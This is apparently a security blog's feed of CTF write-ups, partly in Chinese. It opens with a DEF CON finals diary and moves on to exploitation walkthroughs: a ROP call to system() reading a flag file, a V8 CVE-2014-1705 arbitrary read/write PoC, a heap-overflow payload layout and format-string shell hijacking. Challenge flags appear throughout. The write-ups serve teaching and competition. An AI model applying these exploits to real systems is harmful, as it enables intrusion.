今天 GD 嘗試解決 vlan 999 的問題<br>
可惜還是無解 </p>
<p>今天得知主辦方計分方面有問題<br>
重算我們的排名上升到第二!<br>
後來記分板就關閉了 只顯示排名<br>
中午開了新題目 <code>justify</code><br>
<em>dragon sector</em> 有送可疑流量過來<br>
但是仔細檢查後根本與程式流程無關<br>
而且流出的 flag 也 match 不上備份的<br>
差不多這時間我們突然第一名了 XD<br>
應該要歸功於前面成功攻擊放的後門 </p>
<p>兩點左右發現 <code>justify</code> 被打了<br>
不過內場後來說已經 patch<br>
但是這邊又有溝通上的問題 QQ<br>
外場大概很早有發現漏洞的確切位置<br>
但是以為內場已經 patch 而沒有告知<br>
回飯店才知道內場的 patch 是其他問題<br>
靠 wrapper 一開始有守下幾波<br>
不過 <em>ppp</em> 的 payload 也一直進化<br>
五點的時候 <code>justify</code> 突然爛掉<br>
還原成最初版本也沒用<br>
後來確認是主辦方的問題 XD </p>
<p>差不多三點左右 <code>wdup</code> 換新版本<br>
由於沒人分析 又是一陣手忙腳亂<br>
只 wrapper 擋在前面避免大量失分<br>
靠著 replay 從弱隊獲得一些分數<br>
好像還有隊伍用其他 service 在 tmp 建 link<br>
來繞過 <code>wdup</code> 的限制 </p>
<p>接近六點的時候 <code>eliza</code> 換成 arm 的版本<br>
不過程式似乎沒有做改動<br>
我們很快就把 jump 的漏洞給補上<br>
btw, patch 的部分都是靠 jery 負責<br>
真的很強大 <(_ _)><br>
6:37 <code>imap</code> 也放出了第二個版本<br>
外場第一時間把檔案抓下來比對<br>
由於 ctf.tw 無法連外<br>
只能轉成 hex 再用 copy & paste 的方式拉出來 ...<br>
這次有小部分功能都改過<br>
不過 diff 過後很快就找到問題點在一個 decode base64 的 function<br>
lucas 說第一個版本也又這個 function<br>
但是沒有被呼叫到<br>
接下來到結束時間都在研究如何觸發這個漏洞 </p>
<p>內場其實發生很多事情外場都不清楚 ><<br>
比如說 </p>
<ul>
<li>主要得分來自前面種的後門</li>
<li><code>justify</code> 持續掉分</li>
<li>其他隊伍也有很多 wrapper 和 defense script,必須想辦法繞過</li>
</ul>
<p>這些場外其實都第一時間沒得到消息...<br>
很多狀況都是回飯店討論時才知道的<br>
即使用 skype 還是有些不方便 </p>
<p>晚上大家實在太累了<br>
吃完飯都決定回去小寐一會兒才陸續起來解題<br>
我睡到凌晨 1 點...鬧鐘沒設完就睡著了 = =<br>
好險沒睡到隔天<br>
醒來 lucas 和 atdog 已經讓 <code>imapv2</code> 會 stack smash<br>
但是似乎沒辦法繞過 stack guard<br>
jery 則是說已經還原數個 <code>justify</code> struct<br>
可以分工去 reverse 程式<br>
此時我們才開始交流內外場對這題的進度<br>
知道這題是吃 DIMACS CNF format 格式的文件後<br>
分析進度開始加速了起來 </p>
<blockquote>
<p>217: 這就是一題 hrms </p>
</blockquote>
<p>jery 則把漏洞給補上<br>
用一種很巧秒的方式 XD<br>
將整個 stack 移到 environment variable 的位置<br>
這樣即使 overflow 也只會蓋到環境變數 </p>
<blockquote>
<p><em>blue-lotus</em>: 神思路! 太猥瑣了! </p>
</blockquote>
<p>這題 patch 有一定難度<br>
很多隊伍只是把長度加大來騙人<br>
實際上只要改過 padding 長度依然可以 overflow<br>
可惜直到比賽我們最後還是沒有成功分析出 <code>justify</code> 的演算法<br>
只能靠 replay 的方式重送<br>
也沒拿到什麼分數 </p>
<p>至於其他兩題的進度<br>
sean 和 jeffxx 把 arm 版本的 <code>eliza</code> 第二個漏洞給做出來<br>
<code>imapv2</code> 可以對任意地址寫 1 byte<br>
但是找不到 memory leak 和可以利用的地方 OTZ </p>
<h2>8/10</h2>
<hr>
<p>第三天大家莫名其妙又要排隊<br>
這次我們決定直接坐在沙發<br>
用無線網路存取內網 XD<br>
果然操作效率大幅提升阿!!!<br>
只可惜第三天真的太累了......<br>
沒辦法專注在分析 0 day<br>
分析 <em>ppp</em> 的流量只看到一堆假流量毫無稍獲<br>
不過分析 <em>binja</em> 、 <em>blue-lotus</em><br>
似乎都有嘗試對 <code>justify</code> 發動攻擊<br>
另外 第三天 <code>wdup</code> 還是有被攻擊成功<br>
由於第二天後半開始幾乎都是挨打的狀態<br>
不過修補及時 應該也沒有太大損害<br>
第三天沒有攻擊流量、也沒有分數排名<br>
(我看了螢幕三分鐘才發現是 replay .... </p>
<p>比賽就這樣平淡的結束了<br>
大家留下來拍照和聽主辦單位宣布一些事情<br>
也有跟其他隊伍稍微交流一下心得<br>
就回飯店休息了......實在是很累 = =<br>
睡到 4:30 以為是頒獎開始了 結果還沒<br>
只好回比賽場地繼續 social<br>
值得一提的是 <em>ghost in the shellcode</em> 的成員來跟我們分享一些 CTF 的經驗<br>
他說自己已經比了 9 年<br>
隊伍花五年去弄出一套 framework 來幫助 CTF 競賽<br>
我們也跟他們提到 HITCON CTF<br>
說題目還沒出完<br>
他也回說完全了解出題的痛苦 XD<br>
<img alt="IMG_1813.JPG" src="http://user-image.logdown.io/user/6149/blog/6156/post/220500/KTP0zJmeRyezvahV3trC_IMG_1813.JPG"> </p>
<p>最後閉幕式在半夢半醒中度過<br>
聽到 <em>dragon sector</em> 的名字我嚇了一大跳<br>
想說如果他們反超到第一名 那我們就死定啦<br>
第三天很多都是他們對我們發動攻擊 = =<br>
還好他們是第三 我們第二 <em>ppp</em> 還是保持在第一<br>
跟第二天的名次完全一樣 XD<br>
插曲是因為宣布名次時攝影大哥剛好去上廁所<br>
在後面罵一聲 <strong>幹!!!</strong> XDDD<br>
<img alt="IMG_1815.JPG" src="http://user-image.logdown.io/user/6149/blog/6156/post/220500/BHzsEqRruLGYt3kQUZ3A_IMG_1815.JPG"> </p>
<p>晚餐吃了奇怪的中式合菜<br>
除了那道青菜以外吃起來都不錯<br>
吃完大家都回去休息了<br>
sean & jeffxx & peter & me 四個人開始玩世紀二 XDD<br>
中間還發生 virtual box 跟 guest os 和 host 無縫接軌的神奇畫面...<br>
不過我真的玩得很爛 = =<br>
被改強的電腦打爆兩次<br>
最後一場改打塔快和城快結果電腦瞬間被虐爆.... </p>
<blockquote>
<p>sean: 怎麼差這麼多? 遊戲做壞了吧 </p>
</blockquote>
<p>之後改玩小遊戲...打了 40 幾分鐘<br>
打到兩邊都不想玩了 = =<br>
最後吃一碗泡麵做為一天的結束 </p>
<h2>8/11</h2>
<hr>
<p>最後一天早上在飯店聊天<br>
因為沒有微波爐可以熱昨天的炒飯<br>
只好很克難的吹風機加熱 XDDD<br>
親眼見證了 lucas 被 GD + dm4 的聯手推坑<br>
買完大家就在飯店裡玩 boss 耳機 XDD<br>
後來 alan 也買了一個 </p>
<p>下午的行程大致就是...<br>
逛街逛到腿軟<br>
死觀光客模式快門按不停<br>
溫蒂漢堡很難吃<br>
搭飛機回家<br>
就不詳細贅述細節了 </p>
<p>幹<br>
原本要傳 defcon 閉幕式的照片做結尾<br>
可是免費帳號不能傳照片了 = = </p>Pwnium CTF 2014 pwn 200 Be a robot2014-07-11T22:59:00+08:002014-07-11T22:59:00+08:00ddaatag:ddaa.tw,2014-07-11:/pwnium_pwn_200_be_a_robot.html<p>Pwnium CTF....but there is only one pwn problem. lol<br>
(pwn100 was down.) </p>
<hr>
<p>The problem gave us a host that we can login by ssh and do something.<br>
Our goal is using the executable named <code>pwn200</code> to get the content of file named <code>flag</code> under the same directory. </p>
<p>After using …</p><p>Pwnium CTF....but there is only one pwn problem. lol<br>
(pwn100 was down.) </p>
<hr>
<p>The problem gave us a host that we can login by ssh and do something.<br>
Our goal is using the executable named <code>pwn200</code> to get the content of file named <code>flag</code> under the same directory. </p>
<p>After using IDA to reverse the elf, we can find the vulnerability is in the fucntion <code>atExit()</code>. </p>
<div class="highlight"><pre><span></span><span class="kt">int</span> <span class="kr">__cdecl</span> <span class="nf">atExit</span><span class="p">(</span><span class="kt">signed</span> <span class="kt">int</span> <span class="n">age</span><span class="p">){</span>
<span class="kt">int</span> <span class="p">(</span><span class="o">*</span><span class="n">v2</span><span class="p">)(</span><span class="kt">void</span><span class="p">);</span> <span class="c1">// [sp+Ch] [bp-Ch]@0</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">age</span> <span class="o"><=</span> <span class="mi">25</span> <span class="p">){</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">age</span> <span class="mi">0</span> <span class="p">){</span>
<span class="n">v2</span> <span class="o">=</span> <span class="n">kid</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">else</span><span class="p">{</span>
<span class="n">v2</span> <span class="o">=</span> <span class="n">adult</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">else</span><span class="p">{</span>
<span class="n">v2</span> <span class="o">=</span> <span class="n">man</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">return</span> <span class="n">v2</span><span class="p">();</span>
<span class="p">}</span>
</pre></div>
<p>If we input a negative number, the elf won't initialize the variable <code>v2</code>.<br>
Therefore, we can control eax and execute arbitrary code. </p>
<p>We can't jump to shellcode easily because of ASLR protection.<br>
However, the program provide a magic function <code>test()</code> which call <code>system()</code> and just print <code>hacked</code>.<br>
We can use ROP to do something to read flag.<br>
With no difficulty, I found the ROP chain to call system and controll <code>esp</code> to change the argument.<br>
But where can I put the command to get flag ? I stuck in tis problem for a while.<br>
Finally, I used the environment variable to solve the problem.<br>
Set an environment variable as <code>cat flag</code> with a lot of blanks. Like that: </p>
<blockquote>
<p>DDAA=" "*130000 + "cat flag"</p>
</blockquote>
<p>Then we can guess the address of our environment variable. <br>
It must be between <code>cat</code> and <code>=</code>.<br>
Once it was right in our guess, we can see the flag of pwn200. </p>Secuinside ctf 2014 reverse 100 find key2014-06-09T02:46:00+08:002014-06-09T02:46:00+08:00ddaatag:ddaa.tw,2014-06-09:/secuinside_reverse_100_find_the_key.html<p>這題是快要結束才開出來的一題 reverse<br>
到結束也沒人解出來 ORZ<br>
稱假日有點時間還是把它解出來了... </p>
<hr>
<p>題目是一個 32 bit 的 elf<br>
執行需要輸入兩個參數<br>
題目會先對第一個參數做檢查 </p>
<blockquote>
<p>./findkey 123 123<br>
key 1 = 123<br>
0 is differnce<br>
Wrong password </p>
</blockquote>
<p>很快找到檢查第一個參數的 function 在 <code>0x0804b76d</code><br>
trace 完後這個 func 的演算法是: </p>
<div class="highlight"><pre><span></span>def sub_804b76d(arg1,n=0x31):
for i in range(56):
v7 = 0
v4 = len(sentence[i])
v2 = smaller(n …</pre></div><p>這題是快要結束才開出來的一題 reverse<br>
到結束也沒人解出來 ORZ<br>
稱假日有點時間還是把它解出來了... </p>
<hr>
<p>題目是一個 32 bit 的 elf<br>
執行需要輸入兩個參數<br>
題目會先對第一個參數做檢查 </p>
<blockquote>
<p>./findkey 123 123<br>
key 1 = 123<br>
0 is differnce<br>
Wrong password </p>
</blockquote>
<p>很快找到檢查第一個參數的 function 在 <code>0x0804b76d</code><br>
trace 完後這個 func 的演算法是: </p>
<div class="highlight"><pre><span></span>def sub_804b76d(arg1,n=0x31):
for i in range(56):
v7 = 0
v4 = len(sentence[i])
v2 = smaller(n,v4)
for j in range(v2):
v7 += (ord(sentence[i][j]) * ord(arg1[j]))
j+=1
if v7 != dword_804F180[i]:
print "%d is difference" % i
return
</pre></div>
<p>程式中存了 56 個字串<br>
會依序取得每個字元與 <code>argv[1]</code> 相乘並加總<br>
並檢查結果是否如預期<br>
看起來很複雜<br>
其實就是國中的數學 多元一次方程式 XD<br>
給 56 個方程式解 49 個未知數這樣<br>
但是這邊一開始卡關了<br>
逐一檢查後才發現<br>
由於字串中有幾個 byte 是特殊字元<br>
那邊在程式中的加總結果與我模擬的不同<br>
原因我沒有深究~ 反正只要有 49 個方程式就能解了<br>
把那幾個扣掉後依然可以得到解<br>
<code>3 lroea5 r tfmh0wl1y15on 3y! 4n 50r,30wv3r !4kwi</code><br>
也就是第一個參數 </p>
<p>通過第一階段以後<br>
剩下的頗複雜 Orz<br>
很多 function 亂 call<br>
還有很多根本沒做事情 = =<br>
只好用動態分析的方式檢查 function 在做啥<br>
<code>sub_8048A32</code> 和 <code>sub_8048A58</code> 作用不明<br>
不負責任猜測可能是類似 <code>malloc</code> 和 <code>free</code> 的動作<br>
程式流程如下: </p>
<div class="highlight"><pre><span></span><span class="nt">sub_8048A32</span><span class="o">(</span><span class="nt">src</span><span class="o">,</span><span class="nt">0</span><span class="o">);</span>
<span class="nt">strtobigint</span><span class="o">(</span><span class="nt">src</span><span class="o">,</span><span class="nt">argv</span><span class="cp">[</span><span class="mi">2</span><span class="cp">]</span><span class="o">);</span>
<span class="nt">memcpy</span><span class="o">(</span><span class="nt">dst</span><span class="o">,</span><span class="nt">src</span><span class="o">,</span><span class="nt">sizeof</span><span class="o">(</span><span class="nt">dst</span><span class="o">));</span>
<span class="nt">v3</span> <span class="o">=</span> <span class="nt">check_key2</span><span class="o">(</span><span class="nt">argv</span><span class="cp">[</span><span class="mi">1</span><span class="cp">]</span><span class="o">,</span><span class="nt">n</span><span class="o">,</span><span class="nt">dst</span><span class="o">)^</span><span class="nt">1</span><span class="o">;</span>
<span class="nt">sub_8048A58</span><span class="o">(</span><span class="nt">dst</span><span class="o">);</span>
<span class="nt">if</span> <span class="o">(</span><span class="nt">v3</span><span class="o">)</span> <span class="p">{</span>
<span class="err">puts("Wrongpassword")</span><span class="p">;</span>
<span class="err">v2=1</span><span class="p">;</span>
<span class="p">}</span>
<span class="nt">else</span> <span class="p">{</span>
<span class="err">printf("</span><span class="n">Theflagis</span><span class="p">:</span><span class="s1">'%s'</span><span class="err">\</span><span class="n">n</span><span class="err">"</span><span class="p">,</span><span class="n">argv</span><span class="cp">[</span><span class="mi">1</span><span class="cp">]</span><span class="p">);</span>
<span class="err">v2=0</span><span class="p">;</span>
<span class="p">}</span>
</pre></div>
<p>第二部分會先將 <code>argv[2]</code> 轉換成一個 struct<br>
架構大概長這樣: </p>
<div class="highlight"><pre><span></span>struct bigint{
int signed;
unsigned int length[2];
unsigned int value[2000];
}
</pre></div>
<p>接著進入到 <code>check_key2()</code> 裡面<br>
程式流程如下: </p>
<div class="highlight"><pre><span></span>memcpy(&_bigint,bigint,8008u);
sub_804b330(digits,&_bigint,n);
sub_8048A58(&_bigint);
_0x31=n;
for (i=0;i<_0x31;++i){
v12=0;
for (j=0;j<i;++j){
v3=*next_digit(digits,j);
if (v3>*next_digit(digits,i))
++v12;
}
if (dword_804F280[i]!=v12){
v4=0;
gotoLABEL_15;
}
}
</pre></div>
<p>首先是 <code>sub_804b330</code> 這個 function<br>
會將 <code>argv[2]</code> 所輸入的數字<br>
轉變成一個 mod 49 的多項式<br>
像是 <code>a48 * x^48 + a47 * x^47 + ... + a1 * x + a0</code> 這樣子<br>
此外還會確認 a0 ~ a48 是否全部不相同<br>
如果有任兩個相同會直接印出 <code>Wrong password</code> 並結束程式 </p>
<p>接下來程式會用兩個 for loop 去檢查分解出來的係數<br>
如果第 n 個係數 an < 前面的任一係數 ai<br>
v12 的值就會 +1<br>
接著對 v12 的值與保存於 <code>dword_804F280</code> 做比較<br>
其值依序為 </p>
<blockquote>
<p>0 1 0 1 1 1 2 4 1 3 1 6 2 4 5 2 16 17 0 16 2 14 9 1 15 9 10 14 0 15 17 27 4 17 14 10 5 7 13 21 35 9 28 25 42 23 8 45 27</p>
</blockquote>
<p>因為係數的值彼此不同<br>
比較係數大小可以確保係數的順序是正確<br>
接著要從 <code>dword_804F280</code> 去推算出正確的順序是多少<br>
觀察了一下發現到一件很重要的事情:<br>
<strong>最晚出現的 0 代表其係數為 48</strong><br>
可以用反證法來推論其正確: </p>
<ol>
<li>如果更前面有係數為 48 , dword_804F280[i] 不會是 0</li>
<li>如果更後面的係數為 48 , dword_804F280[i] 不會是最後一個出現的 0</li>
</ol>
<p>最後一個 0 在 index = 23 的位置<br>
因此 a23 = 48<br>
接著我們把 48 扣掉<br>
並且把 <code>dword_804F280</code> 所有 index > 23 的值 -1<br>
現在最後一個 0 所代表的值就是 47<br>
以此類推 我們可以得到所有的係數<br>
最後將所有係數透過多項式算出的大數為 <code>28367585747398446017812492718893415428463369378432457345198085366128794480569061784</code><br>
也就是第二個參數<br>
兩個參數都正確 flag 也就噴出來了 </p>
<blockquote>
<p>./exec<br>
key 1 = 3 lroea5 r tfmh0wl1y15on 3y! 4n 50r,30wv3r !4kwi<br>
The flag is : 'w0w! 1nv3r51on arr4y i5 4we50m3 f0r th3 k3y, lol!' </p>
</blockquote>
<p>flag: <code>w0w! 1nv3r51on arr4y i5 4we50m3 f0r th3 k3y, lol!</code></p>Secuinside ctf 2014 pwn 300 yet-another-javascript-jail2014-06-06T03:33:00+08:002014-06-06T03:33:00+08:00ddaatag:ddaa.tw,2014-06-06:/secuinside_pwn_300_yet_another_js_jail.html<p>這題沒解出來 QQ<br>
找錯 CVE 真是太囧了<br>
如果找對個應該是有機會可以解出來吧... </p>
<hr>
<p>這題是一個 javascipt 的 jail 環境<br>
可以任意執行一些 js 的指令<br>
part1 dm4 秒殺了 XD<br>
做法是 overwrite <code>Array.prototype.toString</code><br>
過 part1 以後得到一個 elf<br>
不看還好...reverse 以後嚇一跳<br>
根本就是一個 v8 engine = = </p>
<p>比對 <code>RunShell()</code> 和 example code 以後<br>
沒看到什麼能利用的地方<br>
初步判定洞是在 v8 裡面<br>
而且上一題的 jsjail 版本比較新<br>
就猜這題的解法應該跟 cve 有關<br>
結果找錯個 …</p><p>這題沒解出來 QQ<br>
找錯 CVE 真是太囧了<br>
如果找對個應該是有機會可以解出來吧... </p>
<hr>
<p>這題是一個 javascipt 的 jail 環境<br>
可以任意執行一些 js 的指令<br>
part1 dm4 秒殺了 XD<br>
做法是 overwrite <code>Array.prototype.toString</code><br>
過 part1 以後得到一個 elf<br>
不看還好...reverse 以後嚇一跳<br>
根本就是一個 v8 engine = = </p>
<p>比對 <code>RunShell()</code> 和 example code 以後<br>
沒看到什麼能利用的地方<br>
初步判定洞是在 v8 裡面<br>
而且上一題的 jsjail 版本比較新<br>
就猜這題的解法應該跟 cve 有關<br>
結果找錯個 e04...<br>
[http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1705]<br>
這個才是正確的 = =<br>
被分類在 chrome 裡面 之前用 v8 下去找沒看到<br>
這是一個可以任意讀寫記憶體位置的漏洞<br>
<a href="https://code.google.com/p/v8/source/browse/branches/3.24/test/mjsunit/regress/regress-crbug-351787.js">poc</a></p>
<div class="highlight"><pre><span></span>var ab4 = new ArrayBuffer(8);
ab4.__defineGetter__("byteLength", function() { return 0xFFFFFFFC; });
var aaaa = new Uint32Array(ab4);
</pre></div>
<p>關鍵代碼是這三行<br>
執行這三行以後就可以透過 <code>aaaa</code> 的 pointer 去任意讀寫 memory<br>
原理我實在是找不到說明 也 trace 不出來 Orz<br>
不負責任猜測是將 array 的長度設成超大 </p>
<p>執行 poc 後在 <code>ExecuteString()</code> 的地方確認 memory 的狀態<br>
會發現 heap 中有大量的區塊都被改成 <code>aaaaaaaa</code><br>
一直往上爬就可以推算出 <code>aaaa</code> 的 pointer 位於 <code>0x09196eb8</code><br>
所以我們透過 <code>aaaa[i] = 0xAAAAAAAA</code> 的方式就可以改寫記憶體了<br>
但是要 overwrite 哪裡 ... ?<br>
仔細觀察後發現讀取指令的部分是利用 <code>fgets()</code> 去得到 input<br>
got table 也是可以被 overwrite 的區域<br>
因此目標應該就是將 <code>fgets()</code> 換成我們要的區域了<br>
(不過在這邊我沒有看到 system() 之類的 function 好利用...)<br>
(別人的 write up 寫有 system 可以跳)<br>
(在想是否因為題目環境是 ubuntu 14.04 的關係...) </p>
<p>but <code>fget()</code> 在 got table 的位置是 <code>0x091680a8</code><br>
欸...嘗試一下 index 好像不能用負數<br>
這樣豈不是改不到嗎...?<br>
卡關很久才發現這邊有 interger overflow 的情況<br>
這邊取得 dst pointer 的做法是 <code>*aaaa + index*4</code><br>
因此只要 index 夠大<br>
就會被當成負數做判斷<br>
如此一來就能任意跳轉記憶體位置了 </p>
<p>btw 聽說這個 cve 是 tomcr00se 舉報的 XDDD </p>DEF CON 22 CTF Quals Baby's First heap2014-05-20T01:31:00+08:002014-05-20T01:31:00+08:00ddaatag:ddaa.tw,2014-05-20:/defcon_pwn_baby_first_heap.html<p>這題是第一天在看的<br>
在嘗試做 payload 時 <strong>jeffxx</strong> 就解完啦 XD<br>
不過還是厚著臉皮寫一下 write up </p>
<hr>
<p>連上去環境後得到這樣的訊息:</p>
<blockquote>
<p>Welcome to your first heap overflow...<br>
I am going to allocate 20 objects...<br>
Using Dougle Lee Allocator 2.6.1...<br>
Goodluck!<br>
Exit function pointer is at 804C8AC address.<br>
[ALLOC][loc=9DE4008][size=1246]<br>
[ALLOC][loc=9DE44F0][size=1121]<br>
...<br>
Write …</p></blockquote><p>這題是第一天在看的<br>
在嘗試做 payload 時 <strong>jeffxx</strong> 就解完啦 XD<br>
不過還是厚著臉皮寫一下 write up </p>
<hr>
<p>連上去環境後得到這樣的訊息:</p>
<blockquote>
<p>Welcome to your first heap overflow...<br>
I am going to allocate 20 objects...<br>
Using Dougle Lee Allocator 2.6.1...<br>
Goodluck!<br>
Exit function pointer is at 804C8AC address.<br>
[ALLOC][loc=9DE4008][size=1246]<br>
[ALLOC][loc=9DE44F0][size=1121]<br>
...<br>
Write to object [size=260]:<br>
123<br>
Copied 4 bytes.<br>
[FREE][address=9DE4008]<br>
[FREE][address=9DE44F0]<br>
...<br>
[FREE][address=9DE84B0]<br>
Did you forget to read the flag with your shellcode?<br>
Exiting </p>
</blockquote>
<p>好像就只是個簡單的 heap overflow ?<br>
一開始以為要用舊的環境才能測<br>
就用 2.6.32 在 debug<br>
後來發現 <code>free()</code> 好像是程式自帶的<br>
我在 3.8.0-29 測試也沒問題<br>
(有錯請告知 QQ) </p>
<p>這題會 allocate 20 次空間<br>
接著讓我們輸入一個字串<br>
把字串 copy 到 第 10 個空間<br>
再把 20 個空間給 free<br>
隨便輸入一下 發現 >=260 個 byte 就會 crash<br>
直接開 gdb 去看原因<br>
是死在這一行 </p>
<div class="highlight"><pre><span></span>0x80493f6 <free+273>: mov DWORD PTR [eax+0x8],ed
eax 0x61616161
edx 0x61616161
</pre></div>
<p>看起來這邊可以任意寫入記憶體<br>
嘗試一下把題目的 <code>exit_func</code> 改掉 </p>
<div class="highlight"><pre><span></span>0x80493ff <free+282>: mov DWORD PTR [eax+0x4],edx
eax 0x61616161
edx 0x804c8a4
x/xw 0x804c8ac
0x804c8ac <exit_func>: 0x61616161
</pre></div>
<p>喔喔 成功改掉了 但是依然 crash<br>
所以要 jmp 的位置也要可寫入才行<br>
不過 heap 本來就能寫所以沒啥問題<br>
就正式來一次吧 </p>
<div class="highlight"><pre><span></span>0x80493f6 <free+273>: mov DWORD PTR [eax+0x8],edx
eax 0x0
edx 0x0
0x804c8ac <exit_func>: 0x0804f350
</pre></div>
<p>WTF? 還是 crash<br>
原本以為是 overwrite 失敗<br>
但是仔細一看問題是出在下一次 call free 才 crash<br>
我卡在這時 jeffxx 就解完了 XD<br>
原本是打算去改 <code>free()</code> 的 GOT<br>
才發現 <code>free()</code> 寫死了沒辦法改<br>
不過還有個 <code>printf()</code> 可以改<br>
<code>printf()</code> 的位置在 0x0804c004<br>
要跳轉出來的位置就是他 print 出的第 10 個位置 XDDD<br>
最後的 payload 是:<br>
<code>[jmp addr][0x0804c000][nop][addr]</code> </p>
<p>剩下就是寫 shellcode 了<br>
因為會 write 兩次<br>
我是第二次才 overwrite GOT<br>
由於第一次會把 jmp addr +8 的地方改成 <code>0x0804c000</code><br>
要記得被改爛的這 4 byte 給跳開<br>
這樣就成功拿到 shell 了 </p>ASIS CTF Crypto 150 Random Image2014-05-16T22:16:00+08:002014-05-16T22:16:00+08:00ddaatag:ddaa.tw,2014-05-16:/asisctf_crypto_150_random_image.html<p>I didn't spend a lot of time at this CTF because I need to present my project about openstack. 217 is very powerful. When I joined the game, most of problems have been solved. I tried to solve the problem <strong>easy reading</strong>, but finally it was fruitless. (Nobody solved it …</p><p>I didn't spend a lot of time at this CTF because I need to present my project about openstack. 217 is very powerful. When I joined the game, most of problems have been solved. I tried to solve the problem <strong>easy reading</strong>, but finally it was fruitless. (Nobody solved it.) </p>
<hr>
<p>First, we downloaded the picture <code>enc.png</code> from problem. That is a black-and-white picture. Besite the picture, there is an encrypt program that is written by python.<br>
<img alt="enc.png" src="https://ddaa.tw/images/asisctf_2014_randomimage_1.png"> </p>
<p>Observate the program, it loaded an image file into the object. Then the program created another imgae object that had the same size with the last one. After creating the object, the program filled the image with color from 0 to 249. </p>
<p>In following of codes, the program compared each pixel of original picture. If the color of pixel is smaller than 250, it will call <code>get_color()</code> to calculate other value and stored it into new image. Therefor, the other pixels are the pattern of the flag. </p>
<div class="highlight"><pre><span></span>def get_color(x, y, r):
n = (pow(x, 3) + pow(y, 3)) ^ r
return (n ^ ((n >> 8) << 8 ))
</pre></div>
<p><code>r</code> is a random number from 1 to 2^256. However, after computing by <code>get_color</code>, it only had 256 values. We search a pixel with value bigger than 250, then try 256 times to break <code>r</code>. </p>
<div class="highlight"><pre><span></span>def get_r(e,x,y):
for r in range(256):
if get_color(x,y,r) == e:
return r
</pre></div>
<p>Once we get the value of <code>r</code>, we can seperate the flag and other pixels through expression <code>enpix[x,y] == get_color(x,y,r)</code>.<br>
<img alt="flag.png" src="https://ddaa.tw/images/asisctf_2014_randomimage_flag.png"> </p>Dragon Sector CTF 2014 Pwnable2002014-04-29T03:15:00+08:002014-04-29T03:15:00+08:00ddaatag:ddaa.tw,2014-04-29:/dsctf_pwn_200_calc_machine.html<p>I almost forget how to use format string vulnerability attack...... </p>
<hr>
<p>After connecting the server, we can get the message like that: </p>
<blockquote>
<p>Welcome to Multipurpose Calculation Machine!<br>
Menu:<br>
add: Addition<br>
sub: Subtraction<br>
mul: Multiplication<br>
div: Division<br>
pow: Power<br>
mod: Modulo<br>
sin: Sinus<br>
cos: Cosinus<br>
tan: Tangens<br>
cot: Cotangens<br>
quit<br>
Choice: add …</p></blockquote><p>I almost forget how to use format string vulnerability attack...... </p>
<hr>
<p>After connecting the server, we can get the message like that: </p>
<blockquote>
<p>Welcome to Multipurpose Calculation Machine!<br>
Menu:<br>
add: Addition<br>
sub: Subtraction<br>
mul: Multiplication<br>
div: Division<br>
pow: Power<br>
mod: Modulo<br>
sin: Sinus<br>
cos: Cosinus<br>
tan: Tangens<br>
cot: Cotangens<br>
quit<br>
Choice: add<br>
[add] Choose the number of parameters: 1<br>
[add] Provide parameter 1: 1<br>
[add] Message of the day: Don't cry because it's over, smile because it happened. -- Dr. Seuss, operands: [1]<br>
[add] The sum of provided numbers is 1 </p>
</blockquote>
<p>Expect the choice, the problem uses <code>scanf("%u")</code> to get users input. So there hasn't bof to overwrite memorys. In each choice, the programe uses <code>printf(format)</code> to print "Message of day" and "operands". The length of <code>format</code> is 308 bytes. And the problem runs a for loop which counts to 308 and checks whether <code>foramt</code> has <code>%</code> symbol. </p>
<div class="highlight"><pre><span></span>strncpy(format,unk_3bc0,n);
for(j=0;j<n;j++){ //n=308
if(format[j]=='%')
format[j]='_';
}
</pre></div>
<p>It seems to prevent the format string attack. However, if the length of "Message of day" + "operand" + others is bigger than 308, it will cause the end of string <code>\0</code> be overwrite. Luckily, the input of choice is behind of <code>format</code>. Thus, we can bypass the filter of <code>%</code> symbol and use the format string vulnerability. </p>
<p>Then we use <code>%x</code> to leak the memory, and notice the program uses ASLR protection. We must calculate the base by subtracting <code>0x3b00</code>. Then using <code>%n</code> to overwrite memory. I try to overwrite return address at first, but it's not work. I use GDB to trace the program , it execute <code>system('/bin/sh')</code> indeed. However it doesn't open shell. So I decide to try another way. </p>
<p>The <code>main</code> function will dynamic execute the function that maps to each choice. The function table is started at 0x3b00. I decide to overwrite <code>quit</code> choice, it is at 0x3b80 and its value is 0x1fea. After overwriting it to 0x0d20,we can type <code>quit</code> and get the shell. </p>
<p>flag: <code>DSCTF_d7b9926c37e5e6b1f796abaf8a3ae7a26050ddb78c4685985321f03d6fd273ba</code></p>Plaid CTF 2014 Crypto 250 Parlor2014-04-17T10:37:00+08:002014-04-17T10:37:00+08:00ddaatag:ddaa.tw,2014-04-17:/plaidctf_crypto_250_parlor.html<p>這題是 217 的大大們解出來的<br>
我知道關鍵後<br>
隔天才自己做一遍<br>
寫程式太慢了......... </p>
<hr>
<p>這題連到目標環境後敘述如下: </p>
<div class="highlight"><pre><span></span>/------------------------------------------------------------------------------\
| Welcome to the betting parlor! |
| |
| We implement State of the Art cryptography to give you the fairest and most |
| exciting betting experience! |
| |
| Here's how it works: we both pick a nonce, you tell us odds, and you give us |
| some money. |
| If …</pre></div><p>這題是 217 的大大們解出來的<br>
我知道關鍵後<br>
隔天才自己做一遍<br>
寫程式太慢了......... </p>
<hr>
<p>這題連到目標環境後敘述如下: </p>
<div class="highlight"><pre><span></span>/------------------------------------------------------------------------------\
| Welcome to the betting parlor! |
| |
| We implement State of the Art cryptography to give you the fairest and most |
| exciting betting experience! |
| |
| Here's how it works: we both pick a nonce, you tell us odds, and you give us |
| some money. |
| If md5(our number + your number) % odds == 0, you win bet amount*odds. |
| UPDATE: IF YOU DIDN'T REALIZE IT, WE DO INCLUDE A NEWLINE AT THE END OF YOUR |
| NUMBER. SORRY FOR THE INCONVENIENCE. THANK YOU FOR USING PARLOR |
| Otherwise, we get your money! We're even so nice, we gave you $1000 to start.|
| |
| If you don't trust us, we will generate a new nonce, and reveal the old nonce|
| to you, so you can verify all of our results! |
| |
| (Oh, and if you win a billion dollars, we'll give you a flag.) |
\______________________________________________________________________________/
====================
1) set your odds
2) set your bet
3) play a round
4) get balance
5) reveal nonce
6) quit
====================
</pre></div>
<p>規則總結如下:</p>
<ol>
<li>設定一個模數 odds</li>
<li>下注 bet</li>
<li>猜一個數字 your num (之後簡稱num)</li>
